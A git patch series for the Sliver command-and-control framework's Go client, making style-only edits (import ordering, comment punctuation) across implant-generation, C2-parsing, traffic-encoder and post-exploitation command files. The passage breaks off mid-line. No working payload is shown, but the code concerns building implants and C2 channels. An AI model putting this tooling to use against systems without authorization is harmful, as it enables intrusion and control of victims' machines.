+-- client/command/generate/generate-info.go | 5 +-- client/command/generate/generate-stager.go | 5 +-- client/command/generate/generate.go | 45 ++++++++++---------- client/command/generate/helpers.go | 11 +++-- client/command/generate/implants-rm.go | 5 +-- client/command/generate/implants.go | 17 ++++---- client/command/generate/profiles-generate.go | 5 +-- client/command/generate/profiles-new.go | 7 ++- client/command/generate/profiles-rm.go | 5 +-- client/command/generate/profiles.go | 19 ++++----- client/command/generate/regenerate.go | 5 +-- client/command/generate/traffic-encoders.go | 33 +++++++------- 14 files changed, 81 insertions(+), 95 deletions(-) diff --git a/client/command/generate/canaries.go b/client/command/generate/canaries.go index e2a9ff240f..8900e0dd1c 100644 --- a/client/command/generate/canaries.go +++ b/client/command/generate/canaries.go @@ -4,16 +4,15 @@ import ( "context" "fmt" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" ) -// CanariesCmd - Display canaries from the database and their status +// CanariesCmd - Display canaries from the database and their status. func CanariesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { canaries, err := con.Rpc.Canaries(context.Background(), &commonpb.Empty{}) if err != nil { @@ -28,7 +27,7 @@ func CanariesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -// PrintCanaries - Print the canaries tracked by the server +// PrintCanaries - Print the canaries tracked by the server. func PrintCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) diff --git a/client/command/generate/generate-beacon.go b/client/command/generate/generate-beacon.go index 43820aa7d4..40466d7335 100644 --- a/client/command/generate/generate-beacon.go +++ b/client/command/generate/generate-beacon.go @@ -5,10 +5,9 @@ import ( "os" "time" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) var ( @@ -16,7 +15,7 @@ var ( ErrBeaconIntervalTooShort = fmt.Errorf("beacon interval must be %v or greater", minBeaconInterval) ) -// GenerateBeaconCmd - The main command used to generate implant binaries +// GenerateBeaconCmd - The main command used to generate implant binaries. func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { config := parseCompileFlags(cmd, con) if config == nil { diff --git a/client/command/generate/generate-info.go b/client/command/generate/generate-info.go index 9fe59c3321..9a9efe6d2a 100644 --- a/client/command/generate/generate-info.go +++ b/client/command/generate/generate-info.go @@ -3,13 +3,12 @@ package generate import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/spf13/cobra" ) -// GenerateInfoCmd - Display information about the Sliver server's compiler configuration +// GenerateInfoCmd - Display information about the Sliver server's compiler configuration. func GenerateInfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{}) if err != nil { diff --git a/client/command/generate/generate-stager.go b/client/command/generate/generate-stager.go index 6806ffb184..a6f99d7b08 100644 --- a/client/command/generate/generate-stager.go +++ b/client/command/generate/generate-stager.go @@ -27,13 +27,12 @@ import ( "strings" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// GenerateStagerCmd - Generate a stager using Metasploit +// GenerateStagerCmd - Generate a stager using Metasploit. func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { var stageProto clientpb.StageProtocol lhost, _ := cmd.Flags().GetString("lhost") diff --git a/client/command/generate/generate.go b/client/command/generate/generate.go index 9e105e31bd..677e8a4a29 100644 --- a/client/command/generate/generate.go +++ b/client/command/generate/generate.go @@ -33,39 +33,38 @@ import ( "time" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/spin" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/util" + "github.com/spf13/cobra" ) const ( - // DefaultMTLSLPort is the default port for mtls + // DefaultMTLSLPort is the default port for mtls. DefaultMTLSLPort = 8888 - // DefaultWGPort is the default port for wg + // DefaultWGPort is the default port for wg. DefaultWGLPort = 53 - // DefaultWGNPort is the default n port for wg + // DefaultWGNPort is the default n port for wg. DefaultWGNPort = 8888 - // DefaultWGKeyExPort is the default port for wg key exchange + // DefaultWGKeyExPort is the default port for wg key exchange. DefaultWGKeyExPort = 1337 - // DefaultHTTPLPort is the default port for http + // DefaultHTTPLPort is the default port for http. DefaultHTTPLPort = 80 - // DefaultHTTPSLPort is the default port for https + // DefaultHTTPSLPort is the default port for https. DefaultHTTPSLPort = 443 - // DefaultDNSLPortis the default port for dns + // DefaultDNSLPortis the default port for dns. DefaultDNSLPort = 53 - // DefaultTCPPivotPort is the default port for tcp pivots + // DefaultTCPPivotPort is the default port for tcp pivots. DefaultTCPPivotPort = 9898 - // DefaultReconnect is the default reconnect time + // DefaultReconnect is the default reconnect time. DefaultReconnect = 60 - // DefaultPollTimeout is the default poll timeout + // DefaultPollTimeout is the default poll timeout. DefaultPollTimeout = 360 // 6 minutes - // DefaultMaxErrors is the default max reconnection errors before giving up + // DefaultMaxErrors is the default max reconnection errors before giving up. DefaultMaxErrors = 1000 ) @@ -74,7 +73,7 @@ const ( ) var ( - // SupportedCompilerTargets - Supported compiler targets + // SupportedCompilerTargets - Supported compiler targets. SupportedCompilerTargets = map[string]bool{ "darwin/amd64": true, "darwin/arm64": true, @@ -88,7 +87,7 @@ var ( ErrNoValidBuilders = errors.New("no valid external builders for target") ) -// GenerateCmd - The main command used to generate implant binaries +// GenerateCmd - The main command used to generate implant binaries. func GenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { config := parseCompileFlags(cmd, con) if config == nil { @@ -181,7 +180,7 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string { } } -// Shared function that extracts the compile flags from the grumble context +// Shared function that extracts the compile flags from the grumble context. func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *clientpb.ImplantConfig { var name string if nameF, _ := cmd.Flags().GetString("name"); nameF != "" { @@ -404,7 +403,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *cl return config } -// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled +// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled. func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *console.SliverConsoleClient) (bool, []*commonpb.File) { trafficEncoders, _ := cmd.Flags().GetString("traffic-encoders") encoders := []*commonpb.File{} @@ -461,7 +460,7 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl return targetOS, targetArch } -// ParseMTLSc2 - Parse mtls connection string arg +// ParseMTLSc2 - Parse mtls connection string arg. func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { @@ -496,7 +495,7 @@ func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) { return c2s, nil } -// ParseWGc2 - Parse wg connect string arg +// ParseWGc2 - Parse wg connect string arg. func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { @@ -612,7 +611,7 @@ func uriWithoutProxyOptions(uri *url.URL) { uri.RawQuery = options.Encode() } -// ParseHTTPc2 - Parse HTTP connection string arg +// ParseHTTPc2 - Parse HTTP connection string arg. func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { @@ -658,7 +657,7 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) { return c2s, nil } -// ParseDNSc2 - Parse DNS connection string arg +// ParseDNSc2 - Parse DNS connection string arg. func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { @@ -693,7 +692,7 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) { return c2s, nil } -// ParseNamedPipec2 - Parse named pipe connection string arg +// ParseNamedPipec2 - Parse named pipe connection string arg. func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { @@ -740,7 +739,7 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) { return c2s, nil } -// ParseTCPPivotc2 - Parse tcp pivot connection string arg +// ParseTCPPivotc2 - Parse tcp pivot connection string arg. func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) { c2s := []*clientpb.ImplantC2{} if args == "" { diff --git a/client/command/generate/helpers.go b/client/command/generate/helpers.go index f234c09159..554128bb2d 100644 --- a/client/command/generate/helpers.go +++ b/client/command/generate/helpers.go @@ -4,14 +4,13 @@ import ( "context" "fmt" - "github.com/rsteube/carapace" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/rsteube/carapace" ) -// GetSliverBinary - Get the binary of an implant based on it's profile +// GetSliverBinary - Get the binary of an implant based on it's profile. func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsoleClient) ([]byte, error) { var data []byte // get implant builds @@ -92,7 +91,7 @@ func ArchCompleter(con *console.SliverConsoleClient) carapace.Action { }) } -// FormatCompleter completes build operating systems +// FormatCompleter completes build operating systems. func OSCompleter(con *console.SliverConsoleClient) carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{}) @@ -126,7 +125,7 @@ func OSCompleter(con *console.SliverConsoleClient) carapace.Action { }) } -// FormatCompleter completes build formats +// FormatCompleter completes build formats. func FormatCompleter() carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { return carapace.ActionValues([]string{ @@ -135,7 +134,7 @@ func FormatCompleter() carapace.Action { }) } -// TrafficEncoderCompleter - Completes the names of traffic encoders +// TrafficEncoderCompleter - Completes the names of traffic encoders. func TrafficEncodersCompleter(con *console.SliverConsoleClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { grpcCtx, cancel := con.GrpcContext(nil) diff --git a/client/command/generate/implants-rm.go b/client/command/generate/implants-rm.go index acb6f6b92e..9a95a9f56c 100644 --- a/client/command/generate/implants-rm.go +++ b/client/command/generate/implants-rm.go @@ -5,13 +5,12 @@ import ( "fmt" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// ImplantsRmCmd - Deletes an archived implant build from the server +// ImplantsRmCmd - Deletes an archived implant build from the server. func ImplantsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { name := args[0] // name := ctx.Args.String("name") diff --git a/client/command/generate/implants.go b/client/command/generate/implants.go index 5553188b0a..cc59a6bd75 100644 --- a/client/command/generate/implants.go +++ b/client/command/generate/implants.go @@ -23,17 +23,16 @@ import ( "fmt" "strings" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) -// ImplantBuildFilter - Filter implant builds +// ImplantBuildFilter - Filter implant builds. type ImplantBuildFilter struct { GOOS string GOARCH string @@ -43,7 +42,7 @@ type ImplantBuildFilter struct { Debug bool } -// ImplantsCmd - Displays archived implant builds +// ImplantsCmd - Displays archived implant builds. func ImplantsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) if err != nil { @@ -59,7 +58,7 @@ func ImplantsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -// PrintImplantBuilds - Print the implant builds on the server +// PrintImplantBuilds - Print the implant builds on the server. func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) @@ -123,7 +122,7 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl con.Println("\n") } -// ImplantBuildNameCompleter - Completer for implant build names +// ImplantBuildNameCompleter - Completer for implant build names. func ImplantBuildNameCompleter(con *console.SliverConsoleClient) carapace.Action { comps := func(ctx carapace.Context) carapace.Action { var action carapace.Action @@ -193,7 +192,7 @@ func ImplantBuildNameCompleter(con *console.SliverConsoleClient) carapace.Action return carapace.ActionCallback(comps) } -// ImplantBuildByName - Get an implant build by name +// ImplantBuildByName - Get an implant build by name. func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantConfig { builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{}) if err != nil { diff --git a/client/command/generate/profiles-generate.go b/client/command/generate/profiles-generate.go index f83ab231e2..7d127e7645 100644 --- a/client/command/generate/profiles-generate.go +++ b/client/command/generate/profiles-generate.go @@ -24,12 +24,11 @@ import ( "path/filepath" "strings" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" + "github.com/spf13/cobra" ) -// ProfilesGenerateCmd - Generate an implant binary based on a profile +// ProfilesGenerateCmd - Generate an implant binary based on a profile. func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { var name string if len(args) > 0 { diff --git a/client/command/generate/profiles-new.go b/client/command/generate/profiles-new.go index 8d04ff0a85..c4a6448cb7 100644 --- a/client/command/generate/profiles-new.go +++ b/client/command/generate/profiles-new.go @@ -20,13 +20,12 @@ package generate import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// ProfilesNewCmd - Create a new implant profile +// ProfilesNewCmd - Create a new implant profile. func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { var name string if len(args) > 0 { @@ -49,7 +48,7 @@ func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ } } -// ProfilesNewBeaconCmd - Create a new beacon profile +// ProfilesNewBeaconCmd - Create a new beacon profile. func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { var name string if len(args) > 0 { diff --git a/client/command/generate/profiles-rm.go b/client/command/generate/profiles-rm.go index 4015c4ea87..2df08c17a2 100644 --- a/client/command/generate/profiles-rm.go +++ b/client/command/generate/profiles-rm.go @@ -23,13 +23,12 @@ import ( "fmt" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// ProfilesRmCmd - Delete an implant profile +// ProfilesRmCmd - Delete an implant profile. func ProfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { var name string if len(args) > 0 { diff --git a/client/command/generate/profiles.go b/client/command/generate/profiles.go index 2fc45faa77..5190127d53 100644 --- a/client/command/generate/profiles.go +++ b/client/command/generate/profiles.go @@ -24,18 +24,17 @@ import ( "math" "strings" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) -// ProfilesCmd - Display implant profiles +// ProfilesCmd - Display implant profiles. func ProfilesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { profiles := getImplantProfiles(con) if profiles == nil { @@ -49,7 +48,7 @@ func ProfilesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -// PrintProfiles - Print the profiles +// PrintProfiles - Print the profiles. func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConsoleClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) @@ -106,7 +105,7 @@ func getImplantProfiles(con *console.SliverConsoleClient) []*clientpb.ImplantPro return pbProfiles.Profiles } -// GetImplantProfileByName - Get an implant profile by a specific name +// GetImplantProfileByName - Get an implant profile by a specific name. func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantProfile { pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) if err != nil { @@ -263,7 +262,7 @@ func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string return properties } -// PrintProfileInfo - Print detailed information about a given profile +// PrintProfileInfo - Print detailed information about a given profile. func PrintProfileInfo(name string, con *console.SliverConsoleClient) { profile := GetImplantProfileByName(name, con) if profile == nil { @@ -273,7 +272,7 @@ func PrintProfileInfo(name string, con *console.SliverConsoleClient) { config := profile.Config properties := populateProfileProperties(config) - //con.Printf("--- Details for profile %s ---\n", profile.Name) + tw := table.NewWriter() // Implant Basics @@ -420,7 +419,7 @@ func PrintProfileInfo(name string, con *console.SliverConsoleClient) { } } -// ProfileNameCompleter - Completer for implant build names +// ProfileNameCompleter - Completer for implant build names. func ProfileNameCompleter(con *console.SliverConsoleClient) carapace.Action { comps := func(ctx carapace.Context) carapace.Action { var action carapace.Action diff --git a/client/command/generate/regenerate.go b/client/command/generate/regenerate.go index 2720a383df..504bb044bd 100644 --- a/client/command/generate/regenerate.go +++ b/client/command/generate/regenerate.go @@ -22,13 +22,12 @@ import ( "context" "os" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// RegenerateCmd - Download an archived implant build/binary +// RegenerateCmd - Download an archived implant build/binary. func RegenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { save, _ := cmd.Flags().GetString("save") if save == "" { diff --git a/client/command/generate/traffic-encoders.go b/client/command/generate/traffic-encoders.go index 539d4dd3c0..c7cb27cf55 100644 --- a/client/command/generate/traffic-encoders.go +++ b/client/command/generate/traffic-encoders.go @@ -27,22 +27,21 @@ import ( "time" "github.com/AlecAivazis/survey/v2" - "github.com/gofrs/uuid" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "golang.org/x/text/cases" - "golang.org/x/text/language" - "google.golang.org/protobuf/proto" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/util" + "github.com/gofrs/uuid" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "golang.org/x/text/cases" + "golang.org/x/text/language" + "google.golang.org/protobuf/proto" ) -// TrafficEncodersCmd - Generate traffic encoders command implementation +// TrafficEncodersCmd - Generate traffic encoders command implementation. func TrafficEncodersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { grpcCtx, cancel := con.GrpcContext(cmd) defer cancel() @@ -54,7 +53,7 @@ func TrafficEncodersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, ar DisplayTrafficEncoders(encoderMap, con) } -// DisplayTrafficEncoders - Display traffic encoders map from server +// DisplayTrafficEncoders - Display traffic encoders map from server. func DisplayTrafficEncoders(encoderMap *clientpb.TrafficEncoderMap, con *console.SliverConsoleClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) @@ -83,7 +82,7 @@ func DisplayTrafficEncoders(encoderMap *clientpb.TrafficEncoderMap, con *console con.Println(tw.Render()) } -// TrafficEncodersAddCmd - Add a new traffic encoder to the server +// TrafficEncodersAddCmd - Add a new traffic encoder to the server. func TrafficEncodersAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { grpcCtx, cancel := con.GrpcContext(cmd) defer cancel() @@ -138,7 +137,7 @@ func TrafficEncodersAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, con.PrintInfof("Successfully added traffic encoder: %s\n", trafficEncoder.Wasm.Name) } -// saveFailedSample - Save the sample the encoder failed to properly encode/decode +// saveFailedSample - Save the sample the encoder failed to properly encode/decode. func saveFailedSample(encoderName string, test *clientpb.TrafficEncoderTest) { confirm := false prompt := &survey.Confirm{ @@ -156,7 +155,7 @@ func saveFailedSample(encoderName string, test *clientpb.TrafficEncoderTest) { } } -// allTestsPassed - Check if all tests passed +// allTestsPassed - Check if all tests passed. func allTestsPassed(tests *clientpb.TrafficEncoderTests) bool { for _, test := range tests.Tests { if !test.Success { @@ -166,7 +165,7 @@ func allTestsPassed(tests *clientpb.TrafficEncoderTests) bool { return true } -// displayTrafficEncoderTests - Display traffic encoder tests in real time +// displayTrafficEncoderTests - Display traffic encoder tests in real time. func displayTrafficEncoderTestProgress(testID string, completed chan interface{}, con *console.SliverConsoleClient) { listenerID, events := con.CreateEventListener() defer con.RemoveEventListener(listenerID) @@ -191,7 +190,7 @@ func displayTrafficEncoderTestProgress(testID string, completed chan interface{} } } -// clearLines - Clear a number of lines from the console +// clearLines - Clear a number of lines from the console. func clearLines(count int, con *console.SliverConsoleClient) { for i := 0; i < count; i++ { con.Printf(console.Clearln + "\r") @@ -199,7 +198,7 @@ func clearLines(count int, con *console.SliverConsoleClient) { } } -// displayTrafficEncoderTests - Display the results of traffic encoder tests, return number of lines written +// displayTrafficEncoderTests - Display the results of traffic encoder tests, return number of lines written. func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTests, con *console.SliverConsoleClient) int { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) @@ -245,7 +244,7 @@ func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTest return lineCount } -// TrafficEncodersRemoveCmd - Remove a traffic encoder +// TrafficEncodersRemoveCmd - Remove a traffic encoder. func TrafficEncodersRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { _, cancel := con.GrpcContext(cmd) defer cancel() @@ -272,7 +271,7 @@ func TrafficEncodersRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClie con.PrintInfof("Successfully removed traffic encoder: %s\n", name) } -// SelectTrafficEncoder - Select a traffic encoder from a list +// SelectTrafficEncoder - Select a traffic encoder from a list. func SelectTrafficEncoder(con *console.SliverConsoleClient) string { grpcCtx, cancel := con.GrpcContext(nil) defer cancel() From be65f1ce58c47199126237bdbdad94aa1f9d751f Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sun, 23 Jul 2023 19:23:13 +0200 Subject: [PATCH 026/124] Filter portfwd/socks commands out of beacons --- client/cli/cli.go | 9 ++- client/cli/config.go | 1 - client/cli/console.go | 7 +- client/cli/implant.go | 7 +- client/cli/import.go | 3 +- client/cli/version.go | 3 +- client/command/command.go | 3 +- client/command/cursed/commands.go | 16 ++--- client/command/cursed/cursed-chrome.go | 5 +- client/command/cursed/cursed-console.go | 5 +- client/command/cursed/cursed-cookies.go | 3 +- client/command/cursed/cursed-edge.go | 6 +- client/command/cursed/cursed-electron.go | 3 +- client/command/cursed/cursed-rm.go | 3 +- client/command/cursed/cursed-screenshot.go | 3 +- client/command/cursed/cursed.go | 9 ++- client/command/portfwd/commands.go | 16 ++--- client/command/portfwd/portfwd-add.go | 5 +- client/command/portfwd/portfwd-rm.go | 5 +- client/command/portfwd/portfwd.go | 15 ++-- client/command/rportfwd/commands.go | 16 ++--- client/command/rportfwd/portfwd-add.go | 5 +- client/command/rportfwd/portfwd-rm.go | 5 +- client/command/rportfwd/portfwd.go | 11 ++- client/command/server.go | 5 +- client/command/shell/commands.go | 15 ++-- client/command/shell/shell.go | 7 +- client/command/sliver.go | 6 +- client/command/socks/commands.go | 16 ++--- client/command/socks/socks-start.go | 8 +-- client/command/socks/socks-stop.go | 5 +- client/command/socks/socks.go | 13 ++-- client/command/wasm/commands.go | 7 +- client/command/wasm/wasm.go | 10 +-- client/command/wireguard/commands.go | 20 +++--- client/command/wireguard/wg-config.go | 5 +- client/command/wireguard/wg-portfwd-add.go | 5 +- client/command/wireguard/wg-portfwd-rm.go | 9 ++- client/command/wireguard/wg-portfwd.go | 7 +- client/command/wireguard/wg-socks-start.go | 5 +- client/command/wireguard/wg-socks-stop.go | 5 +- client/command/wireguard/wg-socks.go | 9 ++- client/constants/constants.go | 80 +++++++++++----------- 43 files changed, 183 insertions(+), 218 deletions(-) diff --git a/client/cli/cli.go b/client/cli/cli.go index b36a37af99..5ebb7bd0f8 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -24,11 +24,10 @@ import ( "os" "path" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/version" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) const ( @@ -37,7 +36,7 @@ const ( var sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion()) -// Initialize logging +// Initialize logging. func initLogging(appDir string) *os.File { log.SetFlags(log.LstdFlags | log.Lshortfile) logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600) @@ -88,7 +87,7 @@ var rootCmd = &cobra.Command{ Long: ``, } -// Execute - Execute root command +// Execute - Execute root command. func Execute() { if err := rootCmd.Execute(); err != nil { fmt.Println(err) diff --git a/client/cli/config.go b/client/cli/config.go index 71d858d3b3..c8f510ae40 100644 --- a/client/cli/config.go +++ b/client/cli/config.go @@ -23,7 +23,6 @@ import ( "sort" "github.com/bishopfox/sliver/client/assets" - "gopkg.in/AlecAivazis/survey.v1" ) diff --git a/client/cli/console.go b/client/cli/console.go index 67e208a382..5b0a8549e5 100644 --- a/client/cli/console.go +++ b/client/cli/console.go @@ -3,17 +3,16 @@ package cli import ( "fmt" - "github.com/spf13/cobra" - "google.golang.org/grpc" - "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/command" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/protobuf/rpcpb" + "github.com/spf13/cobra" + "google.golang.org/grpc" ) -// consoleCmd generates the console with required pre/post runners +// consoleCmd generates the console with required pre/post runners. func consoleCmd(con *console.SliverConsoleClient) *cobra.Command { consoleCmd := &cobra.Command{ Use: "console", diff --git a/client/cli/implant.go b/client/cli/implant.go index 1f24db8ba8..1952df7de9 100644 --- a/client/cli/implant.go +++ b/client/cli/implant.go @@ -3,14 +3,13 @@ package cli import ( "errors" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command" "github.com/bishopfox/sliver/client/command/use" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) func implantCmd(con *console.SliverConsoleClient) *cobra.Command { diff --git a/client/cli/import.go b/client/cli/import.go index b953916b27..affb22be41 100644 --- a/client/cli/import.go +++ b/client/cli/import.go @@ -22,10 +22,9 @@ import ( "fmt" "os" + "github.com/bishopfox/sliver/client/assets" "github.com/rsteube/carapace" "github.com/spf13/cobra" - - "github.com/bishopfox/sliver/client/assets" ) func importCmd() *cobra.Command { diff --git a/client/cli/version.go b/client/cli/version.go index 24d640871a..89ad72e863 100644 --- a/client/cli/version.go +++ b/client/cli/version.go @@ -21,9 +21,8 @@ package cli import ( "fmt" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/version" + "github.com/spf13/cobra" ) var cmdVersion = &cobra.Command{ diff --git a/client/command/command.go b/client/command/command.go index 2afd028b3e..27831efe6a 100644 --- a/client/command/command.go +++ b/client/command/command.go @@ -21,12 +21,11 @@ package command import ( "strings" + client "github.com/bishopfox/sliver/client/console" "github.com/reeflective/console" "github.com/rsteube/carapace" "github.com/spf13/cobra" "github.com/spf13/pflag" - - client "github.com/bishopfox/sliver/client/console" ) const defaultTimeout = 60 diff --git a/client/command/cursed/commands.go b/client/command/cursed/commands.go index 6680df71e4..a750f4632a 100644 --- a/client/command/cursed/commands.go +++ b/client/command/cursed/commands.go @@ -1,23 +1,23 @@ package cursed import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. func Commands(con *console.SliverConsoleClient) []*cobra.Command { cursedCmd := &cobra.Command{ - Use: consts.Cursed, - Short: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚", - Long: help.GetHelpFor([]string{consts.Cursed}), - GroupID: consts.ExecutionHelpGroup, + Use: consts.Cursed, + Short: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚", + Long: 